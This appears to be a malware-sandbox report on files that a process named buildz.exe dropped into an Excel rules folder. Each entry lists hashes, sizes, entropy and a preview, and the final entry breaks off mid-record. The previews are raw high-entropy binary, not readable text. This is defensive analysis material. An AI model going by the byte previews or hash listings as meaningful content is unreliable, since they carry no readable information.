SSDEEP:	48:OFKVSX7c9EHrQV5IOU7LeUUNakcD1vII8W44ZgW7ZJtBduASZ1/gxwL/Sn7D:OFGsjHrG5In7KrakcD19ZgGJVuge/M3
MD5:	BEEB379DA06A80E924E514EA031C4BE9
SHA1:	ACA06D78E825368645C7087592F589CD3F3FF099
SHA-256:	A699F9976ABE574D1532F2D8B4EEE9F50526F6250DC07C189C81BFC4BCD2029C
SHA-512:	A1DE7BC03CB3F5071FD4FF21D436A17D2FBAA3D6D3C40411F74255C28248BB259AA1E7A9F1DF1A58E9ECE89012525CCB3CCD537F6570DA6A5A7FE4745EE7DB21
Malicious:	false
Reputation:	unknown
Preview:	<?xml......x4@.\.B(.E6.....J .3..ZG.rg.' x..r. .@W.`...s...y)..m+X........3........h.q.o:....a.W..2s......,E....m`{x......'.;%....Fi..g:.O.I......t........!8Z...H......+.....-w-.......0....<.z;.U...~8...z.c.&..}.....r.H..I.,3..6<...a...m%.....8xA.a.Vqbh..5........B.....Y.X^?.V..?D..u<.)... .;.<...."..5K..l_..0.C..zGV....-..Nrf.U...dd,.y......\|.....22..`A.3..v7.C....g...x........v..=U.9Cj..5....Q.W...Yi......a.....\.\@.#..Ma.t..O....].Q._...}..fT.3.!.....!...B..A....].5([B^ ..0.+.........#.!..I....m...S.G9.....$..S.".N....m..&..9.....'xF.u2.>.A..;..g....3........G.n.q..?5....,T.@........-.9\|.....Z._..dj..5.q4...G.....$H......\|.C5 ........%.L..7.._l[..b.B..S......z...W.c....+z...`A....J)YY_;.5......^.g....[...g7.G..'.#......'Eg{...p.....3Kx..".....8n.4.YB.d....Tq."..............)\|.Cw...*;.=...D.5.lqR3.,..].@................uH....^.h.....t.%..9^.(.. .6.`.....a./.>~....s....-0.+...-.1..V...S.y3m...b$XgT.r4q....6.9kr.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11265v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.906571592089284
Encrypted:	false
SSDEEP:	48:yCGIsmQUmQcLW13rbq4k9jY0ayOIrX6TD:hQUmQiubtk+tHIq
MD5:	232FD59E96624BABF3CC093B0A77A410
SHA1:	0F0270099EB86FCB72D38E6D2D6009313D488942
SHA-256:	1AF636ADF2C6F841DB9B4A0BBC277ADFB0DBB00E22831CDF1A925F71A55C33BE
SHA-512:	245FEB9F88787BA32D497A19BE59A295BBA33C7A46BAC97CC09AC9E9F08252BB7B6A944E4B0DE357E46982778D1FE80C039F92B4AD3F6E842B49104FCC44A1B1
Malicious:	false
Reputation:	unknown
Preview:	<?xml,...Z d/n4.R.N..A....\|..T..^:rY........#\|Hz.#5a.....Q......}..~,<...#.q.....".v79..3.\|...d...N..A.E..#....H._......b...2../#s.....B..,..)......F..g\|.DnI.\...wz.7...^.._.;"H..5.+..vXM5.1-..).1.z.#....D........n.X._.+..QyS.S\7.x....)...f#..w..>O.M....#{@.7j...."...W.._.1...../.+ .#...-.t`Q...w..,C....Y.}.g......o.~..Z..$q=..wV.......+4..o....n{'}..W....\..2...<......@6+63.....xa....DL..XN.2p...R.....T...P.!..{.O.Y..H.... /..^...vd.B../..{]+u....;,m..th..:.8Kf...E...U+3O.....O.i.s.....s..`Az..>G..I'.......h4q.cb....n.m;)....t...J\|...s.].....2.l.A{...(.i#.."..t...IA....Y.s+E..._~{...`s.....Y2..&S.~..R.......R...p..0.lpS.#..>..e.A.+.&N....@.K...Y1.(...e...........uD.%.%#Tw(...\|6..!.j.=o.r.S...'x.`Hj. .....k:....\.$J.:..yB.f..u..U......z..z..."D..RM...s......<..].yI..EM.......l..9.....sE.."......"..............<n.C...Bg.Y...B.Ci..d^.N\...V.2;gW..<_..s..B.+..?.(.A<...h...}8...3_.\.......=..(.U.I..`...a..>...........D5;$m5...n.U*c..6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11285v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.97590783846469
Encrypted:	false
SSDEEP:	192:ehIM0AXs5d+RKc6hHNLH+Wnk0EjMYldCfs5Qu2+O4D/zbA1UH/:dxWA86FNrZnk7jM8CfwQ+LsM/
MD5:	29765CBD6D87F6E64A02593D657695C0
SHA1:	800409321E3322F4992A433223716AFC6EC0372C
SHA-256:	5DC6A2F81F85B7D3C2674B295A3283B93DF99928F5974BCD52C386F4615563D1
SHA-512:	76E55D51CD59C459BBC8679ECB67EF50E0D10F24660DE0E74B9F44DD7E408F250D35B4BC18A7440AA1101475257A4FBEEEA4F11EADCDDF7A9B8779D07C0238C9
Malicious:	false
Reputation:	unknown
Preview:	<?xml(.l.v..`%.&+.L...~%.(E.xu$.M...LQ.V.-Y!)(J.p...Z.`.n..$n}1#..9...2!..q.B............K....O^z..^.).~T.......D.4....`8..aX...QW..e.. .H...En6w...!...h.FEF..h......(&kLL]..v..?..st...T.%]NP.S.QRW.$.P.aL.r....D.rG"..c"..b..........C-#..`t\nV<...F.?.PH9....x...t.R..i.".S6./J.....0..IPy.<.3.U..]...K.:...~\|..q......p.ae..Qj...ZK..2.08.q.."....0.,c...Jd..-gL3.^.B..B.f...i.:.s.i........c.\.[\|..$.Vt.(l.u.......).@.o.O.&~.....-.Z.E?Z..Pv.q.......1....C..p..;.F(..(..e.;..V..<M..8...a+n.M...........P..0A.5f.....K"..O.:o.&..S.Y..^T.a(.>....q[D......r....C...^.0...XNw....B3.T.TQr...d}...].1.,...63..v..#!q..-.j...;.Y.h.D.s.BA[...&...r]7.9b.=......5._.`..R.J.#..:..2.....Vv..M...'.:2@9..0.O.8........'.Q.@.bf.lx\|...s.+=..,..h(.*...p.[....A.M.../.."@...w....0.5d ..oF..Cw..8.9R&mH..2....M..5.y..].&e[...W\|]:W... 1.g.?..1...ML...LxzU...c..i.m0.....zo.V...6D...]....80.+@..R.9.J.v...L_5..j....(..B...3.S...8/..f2n.J...p...e4.!...U%:.....e.....=...e...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11289v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.957283125231817
Encrypted:	false
SSDEEP:	96:5cWhvC2WK4vowSlex5akOwUWbZRBio25ZBBegTjYWB9nBSue0+2:Y2WKOowSCOpIPiP57Bd/
MD5:	BC3F03CF53FEB4B6349FC3AD630B7019
SHA1:	A2E956E6AE687254D94DC566EB9A0942E0178BC7
SHA-256:	32C5107E05A79C30A86903B52A23422C8F1810D286AA221C14EBCA2EFEAD6CC1
SHA-512:	149F0F7AD6401A5128EF5945269AB384DABD91C4B998B5EAE49AD723C83758F4BA58EA85D1A004432B37F724C578CA98FD1696885CC021C9230C72C8F80BDCD8
Malicious:	false
Reputation:	unknown
Preview:	<?xmlz.Iq.....h...Gn.HzI..L........6..k.....=...>...>.kjQ?i......>.[..=.A..=.5eO......7]..U.9.F..a....;tB@X.4p..P...E...........f..}b........l#r.$..Sg...E....q.!..C.IBo...I...7....g.\h.......X.s\".".F....G..#.)."..y....7./zmx.G.?^j$..G=.O.U..S 6...hp-...s.}l.;.c.F..t........\|n{........A.zc...U..q.G.d...1..\|..2...V....6I..n..K..8+....J.2...\|..?.l....\.cF>...+Y.@..c.r....%..E.<}...$.~.+WY..R..{n..$........F..b#z.\|ei....EL';m.~.....2 .....A........&J:..H.^.{...@...&.=X..v!m.w......G..&.xp+...GE.....D....7....\|-...}.m."O.6]....)#.....f.H.I'..7.....@z:....d......2.(^.=...HGu.....\...y....S.0i.Av..GY.....U{.5....5H.&..6o\._......3.......7.U..~.(.......c/...0..u..^...o/........&y6...9}r..mO...../...[...m..!...-...%KtaZ1.....W.8(..?.Y........."...V.[T...+p.h....=.F..`........c.T9.B.s..rs..Na....qlIpem...q.ss[.o/........G.K/r.).............?..>je@.8.=..]..0..@N.0\.z-.x..E.I..w.....$..^....:.....Q.V..B..l.....v .!.mF?....S[...j.W.Y92....QF.....H

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11300v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.962628941763688
Encrypted:	false
SSDEEP:	96:B7YWCHr8j+6EAO7OdScebEgkr0V0mCT+kWm/fPq5Zp6VTftbw72Ae00tDV:B7zar2BjAhbpkr0VprmHUkpvAeh5
MD5:	476C8227D0408E6B626053D1279075A1
SHA1:	830CCF7DD08B18901709EAAC6E21898090AB66A2
SHA-256:	EFA7CF6AFE972149BBE3630179255D8897CEB9DA30CAC37895B380B5A8D553C7
SHA-512:	B410B404F57AF75B47410248AC3B2FC61935E696C7274CC81087A88575A523AF9C3BBABA9906D08F1230727DA5A1AAEE1358D6EDEA90C93EF62829EED23A60BB
Malicious:	false
Reputation:	unknown
Preview:	<?xml.....$d...]9...K.....E.%..:.kT.D...S.59.0?.....`lrab....7.C....7.i..Dz...`.J........... ....^....N.}..+>.l.80.'.&....~$......I...Sa...)G...N....n6O.....0.O....b.y\|....Q..n.<Q#.T..q.(...YJ+\..d..c.....S.]H1G..f.Q9...u...+I \|#.)(..LJ..2f./,./..-...A......k.Z.fY.0HE...nC3..aT8.u...k.i...VO....[/A.-...d.A....MST.0.vD-...e.=~...,y..F...T.N'.U1.5-O.w.U..k.j..)...5..o.9wjG-.......;..l..........j.]I<..W.-....y......h.t.M,.\|./...~..vh..X...:....w.)3.%.....pg......K..wD."...kH$.S....@..f....~+....w..!f...8T..p}..6c..<0...l.$..^..d_v..]....".<0Uy.....J......]1.9IO....2..%..g..b.I.B/..g!.Gp......_9#].../..lc.,........<...y\Z6%j..p.2 K..V..f..t....{.x..`X.7i.&l..{ML._(9....,.?.._....u...Pn..i....~Ia.hi2SUk..iW.L.1..D..2.d?..2..j~6]......,..U(_H [......e..\|d.g.A6..Z........N....r#t......]!....Q....fgi}."$..D..=}.....y0P.S.....7.).............7..%`..mz..w,.C......%.[.F<.1.!\!e.]7.o...q...+...."I..kJz...Kb.z'.O..Y.J..+.wZ.6..y.b.k..:=.M.g....yj..I.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11302v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.932007520951532
Encrypted:	false
SSDEEP:	48:5P8VGINkuDKQriBU3dTAcFZO0zMA+4LnHVFt1k+eJbpbqXyXXZ2G8ycdBmW3TvTj:h8VGEDWQuBU3dTnO0zMApHt1JeJb1qXf
MD5:	62E1B3DE072260527F9822CFBD4A9F3D
SHA1:	34DC31A1B5CA22233F0FC739C3C39E27FDC581D7
SHA-256:	41BE9B5E846252CDE71C1C3AF677BAA9C9816E5E18586665F6C43E3A41CEA7C2
SHA-512:	2CA3A3F70D149BD6585648EDBFA1E4A507A086C41D07BC4C19C2EBCEA2B6BA0E6D34A2837DA80712C8724A8E45DB0C30964D1D68265EF4205A5464FFB3ACA42F
Malicious:	false
Reputation:	unknown
Preview:	<?xml2Z......0.].o.I...{.a}.!.......^.P..<.aK.\.kq....rD&...zX>....Z. ".xtJt..._E~4.H....Q. ...J....Q.].c........IDN$...a..{.Ko\..1!b[.m.W.#....y..Z.1nX/e....w...9"...7XB)......A.Y....RQnz.as.l..."......c.WJ.ikT.{.}....E&..$....V.bLg....0....@.Y. ....w.9.t.-.6H...0.(.h..x.R...+g.\..R...N... ..b....E#.n.q-v/.sye.%..7yx....v}nUK.....Qt+eU.....@..r......[`.3.n...A..,.^.Id.#.8.w.?.m.:..3.ok....$.b.. ]..;FP.ZX...>..I..h.a...Q.ff...5...Y...Ul..y...(...s....QJ...g...l.=..3...@0...AR.\.nv.._.-M....J..s..}....=..f.z&lC.o..A....9\|2.6.....<....O...e..k...mV...dOY.5..?..b......NNK.B..UA...[.g.Y...: ...."...X:.?..Y.cQGIc..U..][XG....R..`........Y......p....\|[kD..s..V.Z...o+...KxyZ..mk...@.8.f..<X..v?....q.C%m..M.h..'.X.....9a.O`....9...%..J.D..h&:.........."K..]...$..TX.;.]v..XG!9~.2.......&.>.%a...x...RV.4l..6...y@c..PH.i....V...Q.V..V.^......Vk.3J%._7.2G`oH.l.O:`....e.W..k..!../.x4.r;..l..k..a..O.\|.C.#...dy...D.......WE.C...../5...g.@...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11362v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.967387317724227
Encrypted:	false
SSDEEP:	96:kdbs2mtHYdEY8DUnAcUNhh4r6xxfmvjN07ptxYLT9cQglgcEgFX1uSUz6IpKQF:2UH0EY8DkMhuKfmvhoiyPl1Egx1uSW6m
MD5:	67548097112AD7D3016F1B658E559074
SHA1:	9569CED96D782F847A1D460529AFE53A4BE04214
SHA-256:	1E8BF5D9C15DD50E1A946462E5C1721B2D48E845C19A406A7F7D3E4AE3C65579
SHA-512:	F0C07BFCE489942AF5E538DEF8626300A125AB6A5CA1921303CAEC95397420D5D19345AF07A770B66BCAA0CDA4ACD87AC87F7CBB47632881D7EF499A8E5E6916
Malicious:	false
Reputation:	unknown
Preview:	<?xml...!8..........{..:.A...E8.5A...$\|bA\.k.\W.V.v?..........C{......?........rX......!...Z^t.t.$.T l......2....t_.N..........S./......g.H!N......Cr.{....Uw.k...z.....=...v..\|.5.<Mk.{X.Y...@....../@Z...w.........7\|.n..F%.t2.o....g~k..........\...2.I...[...j..H3...4.. $.......'._..+M...u.....r..!.{......Zq.-.k.A@..m...`b./"...8...p.........r{#.v...~.uZ....q.....l..efm..m.Sf...a5....<."...U...8]]m....\..a....$..)y..,....r_...G`\|u.[...... D..g+rc..1......mU....p...+...P'.y..Y..B_-UH..4/_.-m.`.Q..[R^.m.S$.K;./..=.....o:-.w...^....M............w...t...................[Wc-.K...jyr....5.........$.y...)....y{...Dz\-...R.MA.!._.DP6B..W..#b..T......:<......,.U.&l..v...V.)P..v......Bc....O.j.r..-.O..x.u]P=....V...Jd.G..x.-l...UQ[.#.mA.D.RZ.]..B.. ...u....H"O[IP....Z...k...1{ .<b..ie..7.."k.o6%O@...Le.mj{3..&.kd.}....l..S.._.....oA..~A...A...i7_....P#.....,(.N.1b._2......r.\...y.......j.R..\....K8vGDIT..p.V..Xi...RAdj...Z.. .8f.Z\Ll...{.@.....o.%..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11369v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.901889938488776
Encrypted:	false
SSDEEP:	48:rKFHrTTWIl9ymYy6q3C5HbQC7+OAxWWaVnTx7c5Xx+fND:e3sk2QC0gT+Xx+d
MD5:	C1D852F50F43B45805E7CE1ADA06F6C3
SHA1:	D1CD90FAAACC47BA5A97425D87CA09EAA115DEEF
SHA-256:	09E9FEE235341478CF843A30308304D3365F13254E6ADF56C58C7561758CBC55
SHA-512:	E34A6688CD8DB95B202657A09FF72DBD9DA661D4A07BEF22D5EA23015652730F222BB02117C5A0E827AF19FC1BEB7A2A55402E206AD6664EB56D018DB36DCFC7
Malicious:	false
Reputation:	unknown
Preview:	<?xml@..D...K;.i".%\|Hl...%t.gB.D.=..x...(.....="5....[...f...b...6...wh....p......(C../ .n..W....>.Ho....n.......Ra.s.6L....6..U...K.B8q...6..@.%.....C..[..q.)$.."...).x.._..w.T.N...pP..../G\|.g.U..7..........\|..}...^.DU.B. ].i..B....\|..'....b./.Y.1..4..o,S....B....{.4.qx......4aV.Z..}..J3.q.\|....W...+..=...O....._."?ruYo... Xm.....?.+...W~...V...r..3..OS'.P.vvO.......g!.o.(......2.eA...g.+.ojdr..y.....>Z.).&7.X..>.....Xo.t.v.]5...6........d?. m.2....@c.....7..'.8..1....e[v..Hr......GOp....\..b..Z.L.t...0...h.`..E.K~l. ...[.9\._.......5`O.?..+.....B.K.Gc.X.##\..[..~..?%..l..7.y=FB..manG..B.^.....#........N........u.....]....t......@..M..=q.sTe...J.....D/.6..`Jt......E..y...n..LL.......1.......&..U{.$.4.t.......w..{.\|]N.....!.:.a......`_.O.... '..n.......fRZ.N..ae..E,.5e..;.cU7....X..%.8.`...av.p...[.S...B.. ..~.W...en..+..F.;}....\D:..,..g......=3...b.Y...W.{M.A.+M.a.l......V...n..8.....Ev:V[.......L%..N1..(..>....>y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11370v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.785765610466093
Encrypted:	false
SSDEEP:	24:KxIGKBn3DgUz5k6f+eoOR/QwNwt+e7jPD57wQkkxbD:KE3t1WeLvNwt+efPDRwzkhD
MD5:	B1074989FA85EA53328855A26B9B7EF4
SHA1:	ED839DC90E7C2F1B24564B788D22433DDAA059F3
SHA-256:	E3BF663404E8A63E41BE5AD33791FA6DB0C299D4A5BF75E8003A3FB2D3C71403
SHA-512:	5DE2875589417B6EA80EB465D3D78DA22C1AAB4C0CACFEE7DF4E91D5FB923B76A7159D46F1AABC395C1B56DE3CCF21EE043B9BEBB7CB308EE7D555A1F085F637
Malicious:	false
Reputation:	unknown
Preview:	<?xmlJ....E............z..@....T..8.......I_...."...qpT....T.3..K.Z.....it.....grYLS..E..v/v.].me....G..(..vL.uw.7.HF......rg.....T.~%.^....1Y.[L.(..........a.h..;....yV.K......G.e..\.@L,.scx..B3.u@.`.....8....!s...k...N.7....}#_...~.)..H8..L..R..d..ry.m!:.;.?..J........;...y92...'dneM....dW....B...:.....q..4.;.m.....m%..A..9ql..6..N.f.9...../.....>^...K..@NGZO-......$. 1.,..pI..X.4.........I.{.....=...I6D..X0..0....#...0..<..k.....7Z..K..;.....Sy..u........X2......%.n...p1i.4...H..y....1ic.XRH#.q.8...#bR...jL......>....lI....1c..w......_.Y.@#+..,>...C`.PN..Y..e..9wB.C...o..v..o.....tL...p..... ..D.........t..RjT...<... -+.~1C...x.E......4..........+.......%....3`......e....z..d.>6z.h.....y:`......=..e..<..~hL.....r.`....ct.ZJ...~...uk."......8.\e.l:\|W.!........ T.......`...L.'.K.Q....).\|..k.0.w..A-u..*g..... $.....F.n...-...`.%.C@...[.jw.. ... .7.b.......y...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11381v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.941346055546302
Encrypted:	false
SSDEEP:	48:i+RmQUQGEFLY4VJKn/XQeW5P2RzjK4/9eHoFBtTZUgVsOq2SqElL8RB4ea8hYpBD:iDQUWFZy/ghP2RzjK4/Nt1VbqPlQRue8
MD5:	5147954AC1F16C56D23E3F2B74A2A9D4
SHA1:	26191BCE4E50D75F1932E89C00F9755C72F7439B
SHA-256:	E0E8DAC688E742785B50625572895E3B4729FAFD3E60ADAF1B459428F4A7E426
SHA-512:	83D4D1D48CFFFE0284429C98BEE10FB2CB413CA5730C35006BD315F8A74BE80D54B8036E9220DC1F40A33E719DC3A32F4C1C9DA0A0AA680914D364AAA8013574
Malicious:	false
Reputation:	unknown
Preview:	<?xml....<t{...A.{.6..S....nl=qE#.4b.B.d.r.1,3.~P.....z...4H5....6....="-gtx.!.$S. .G........O.I....Y....SCr...H....y...2...@.%..............s. ..._ o..bm#.A.V..2.p.K..M3DU....p....W.$...G.KT..5..L...[.M.......X..?." .M.;..N%.....f/.Z`IA)..o..z^%..1..U.c...F.`..>A%.m&#..E......H.<[x.!n.8D.x447..I..:ek_7.3.3.A.\|.>.hZ@..*,..~(.(..t...G#F..p.,?-w...{5..6....$..6oe^.P^h.QUG.sj...y........D\|<...%.\|l..v.e.k...J.E._h......Y.3D........}hC....2Q.q".&.l........X^.&...7a..2I.......5U...-..MI..\|"..s&..&.cB\P.bZ..N.;.vq...3(.Z:;v}...<~y.'m.d.h........i^.D...s.7.<\....p.X^....zB.rR.b..2.a......<.&F.. .L.!T.......=5.......=R...o.i.bg.b.=.......]..../f..<.%?.#Hq..2....=.......\|;{./..._.k>..W.....9.....C;.fM.T9}......,.[<.....>.{...5.<...Y..\........Wb.n.....&p..g6.......././..r.K.n.`..,+.]..4.l.]!.....Qt....Z..T'\|.mST....o...^.V[...!...u..,_..@W....{...84...:T#....)<.]x..$..0.'.p.(.B.....h8?.:........L.f...<.}3.H. ...Tu..Y.}..i....qsn...#.9.3....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11446v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.9833363098442165
Encrypted:	false
SSDEEP:	192:CFyVePi+AECqzetl7b1fO2HcLgDG9/91S+uAvQS04vS2Dzgv5rEnFCEcPi0:CzPJCdekDeumh4EoEcK0
MD5:	7DA1EA7332CFD8BA8D29F7F70B2C97B2
SHA1:	4BC8918B72779D861ECDF2CBFBF1D00031FCF9E5
SHA-256:	24C25A28A5DE7FC2EEAB8712BDB3DC0AC61EB21C26FA28A40A668B6A7AE574B2
SHA-512:	E91110DB2C30E40CC3B8C1E8990C6764E85FB289E3E8BD3FA4846031D5C48C3F07BF42E0711CF189B34A00905A3147BF51CD4E40833626C6A82E3C09D02F2828
Malicious:	false
Reputation:	unknown
Preview:	<?xml.n...Y...o...,.8...0.F@p.V4.... .w...X....wV.h/W..A......0n..I.......0....M...5..[...SGi.....,b...%M4-/.S....6..z......)JX....^.F...\l.....i....Z.........\|...=%Z...+{........&..OS....5....pX...gm....gvo.lb\....e.-......Q.y_.v..[.b.....R.L..l..!+ .w<......\.....%ot.ut..R.\|.l....x.\|A.\].e..=......G8._Z.A.........D.s..w.;.#bv..\JU....?.).Q..?.6.....q.U.......`ZY.m....4.k.<.Z.id......l..N...."..&q..%3}.R......]...C%..o.....v.j...;\|xO.:.6)))...$......4.....(.gz.u^+!....l.'R.y....F..oK7...=..J.}7..7....:.q.q......vb....~S...Z?...9}S.a.a.....A:ud..QI{.=/K...n{....RT..Zvt...B<O.....jc.+.S.J.d3...-qh...^.!..w}+.......&...=gQ..i@3..5.......)...u..9V......V.=d..u.N... 5...G..'.A.=.~..>P.....?.?......Q+...#S..Rk.^t.g-..l...B.k.....+........KP'..d....I.b...sPp..f<..gpYH. ....k.\....#.Y..d...,E....b.....{O....=......7/+_+[...>}^.T..S@.N.3t.......O.....y0..".j9..j.<..:. .H...(AF/u.F...B.j...I..0."[..Z2.b.B.LN.z..:...&..&.XR......W...p&...@...G.s2.Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11464v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.717485813792173
Encrypted:	false
SSDEEP:	12:LrRipzX6HZ0gMIy34G9oCgq1a4WhDBhbYE9ysXCTdwxtN6N1pzxa1+cii9a:klX6HGZUu9WDbb8syQ4zxhbD
MD5:	357E1370765CF3CC69BAB709E64F1EF2
SHA1:	D62D9F81F97463C0FF30E8213934EA42C7CE3671
SHA-256:	7ED29C8846782F270E6B6CFB5BA863E65AB37F5CE5943B2646C2295696B93AB8
SHA-512:	B903E52B7A23AADC47D56E095BFEDFDEE00DE8C5D07411C4550532CFD4E95BABF9A19E7F19CB1C51CA5252F7B5C0BD4A3F9A45B41F54D4E3C3717D39EDEC788F
Malicious:	false
Reputation:	unknown
Preview:	<?xml+#....8.g.dM...WV/x..n.(...f.ptL..h..... .W.a.>De..K......Dl...............5.x:...>..V{.Vm....gF.d.*....l.......x.8}..}...B.....4@..&K.y].^.%....d..,q.R.........&Ff}........\>P.......w7.?m=....]1.C..m.]8.>.H]D.4N......(r.=fx..SJ.V....~...T....%...X.4.+.S..y..^~..U..}.t....wkh:...x%.".Ed.D...=.z.......W9..z..6.(.......4.F.i#..t[ .'.(.(..f....7....I..~..?V@.g..:l..I.PZ...2.,z..a...k.d..r>G.$..ch.Zf..y.{O.i....j.Q..h...F).>t.Lu..@.....B?4t.Q.-x"5.W.........<w.9..8.[+?C..0.....1.\|bD,ZQ.....)..L.x.^.I..Q.....~.&.v..8.....F`x!.......I.).I..nw7a.y~F/...3.Yc..N.v....x.......?..C...Y.G....n?(....gyF.tt....g_.L.i.]s.$g.....y].t...........3?.."....~.V.C<...).0..1..o...<.;..G...[_1.D.8F.@.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11498v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.718524954643226
Encrypted:	false
SSDEEP:	12:z0GBOHgrTwM45eDw/JcNeyJr8fojbvJ4gjj+OMoMGBCNfHFgQzf1+cii9a:z0yX9LDKJDfITJJO/FnYbD
MD5:	A46BCA56BE254A9D7FC9CD5EC9C3D886
SHA1:	2885B65178FCBB58CC891D331A017ECBBA5ED968
SHA-256:	34B54CE460A209120F7796ACE6A7723DC4616F801CECE2AE994AD981F2A3EB37
SHA-512:	0FBC6438FAE757BDD14856BF1B40157543C3989D085A22D1911FEF912926656D183886936B4B1136A51A931552ABC0D19398FEDDD783DED3ED906410E0B18918
Malicious:	false
Reputation:	unknown
Preview:	<?xml;d)%.SF.(.Lh...Y.....6If..%...\2.......R..m.g<s"9.VS.L......k...k......m.+S...=.{:.g.?.....dXh......b.....d.._.6...P4.#M..`t.k2....\|...).N.....E~.Ou.Bk&1...;..d.K.Q.QM..7M..~K..'...8.>....+......t.Z.0.3.H.s.s.....Z..b..6.'/...x...E(n.../Q^...;...&..p...............k...[.v8X.3q....S.s..q..r........._i.S..?.C...3.!......e\...k#..B\.....ES.....,7/.......\.^....$...(....Z.5[f..84.Cp.+.9.O].M.~.ox..S..S..c.a......>hY....p...x.o.F..n-W... .I..!]2...XS.1.jB...1..n....vA._.$1.+>.1fZ...~..wo.wH..(..v....%bl\|.H..4``.............b..d.....I.{..Zv4.qss ...r..Mu^..;C..,...@....K..UT........f.>l.*E.Oq..D.p...x.!r.P..}....+....c?M.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11499v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.893554644401072
Encrypted:	false
SSDEEP:	24:uMcJ/+uoFDsMPyhVfUNf4uKLDNozZoOxNdzCB3xyY58ViDPXWgk4O+ugeObD:cI9FQM6Vf44uhyOrJ0cY5NDPXwfRLsD
MD5:	7AAB0DB25B623DB0657D78A1C503EE3D
SHA1:	507BD4D2E02648C64B0E27C0B9ADDEB109DFAD5F
SHA-256:	2DA19ECC8816B90D58707C538B9456FF81A80BB5EC9D348164CBA5C0CD953F75
SHA-512:	DF6CAA9968C21BA67D9DD1292ADF0884B4E58B8C8E0F43995F81766112F3909D1A9056BA24A4546F63671D777106DED72D01DB6FE455A3D3564079FD73519668
Malicious:	false
Reputation:	unknown
Preview:	<?xml......../8`..R..>.6...U/...[qJ.5..J....e.U...LFY>.L....9..J.!.P....r.. .Yb~@.X..@8.....Z.6n[.h..,?.q../"\.7p.....,...]Q...\|....l...`$......yX;..7V+.....+..8...7.x....#O..A..$..9.7.9X...A......jC.._.......=svvJ..6..K=......r...aie...F...]..?..........XT...m#Z...2...nS..[.X.m1Gk...O...h.#..U{.\.+b.......a.7.+`J.84.......Fd............3.O....(.....<.g..rj.].(c....G..\.i........}h.p....Nf..ep`......a9?...._n.....H...?z...T81...\|.N.C.\|...@.hdD..j#:.\~....d.oS...H...G.1.m........F...\.,F8...J{,..F........M8#..g.q...;Y..c..'.r.n3....D...y.j...}...4..!ObV..w...c..h{y.. <.m..s=.@.W.,.._?.5.G..XUe...%.._.S=.%D..4p.{...-=.L....h..7.....i......Uj......<.......T..>.i~..8i8..nw.Hv.*S..-....r.V../.f].-0q.0.U'.K.0..SgY{..A......E.8./....u.{Z....r.}..U.#6.p..#.1..A..+.qn2.....\...S..Q....C[4U.0.;/.w........Y....F..St.A:,}..........O,........}H..S3j{...}.&.Qf./.H...%..b.,."..+.\....t4E.Wy..h.g4J.....]..J.G.B.5....@....L.\R....UV.D~:..a.L(.kvh..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180034v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	7.868674560694613
Encrypted:	false
SSDEEP:	48:ylRstXueRbR0uKhyBxddIvcQCKRSW7/dasD:ylRa+eRN0uQA2cQCKX/B
MD5:	7AA8869F8879C91B9B6FD04F4DC839DD
SHA1:	4B6151A3FB6342F5D2E07C68D73F32EEEE2D3920
SHA-256:	0EA797F85B8CD551266BE925127A9CB336A226EA2DAD0EE22EC39FD2DDBB86E8
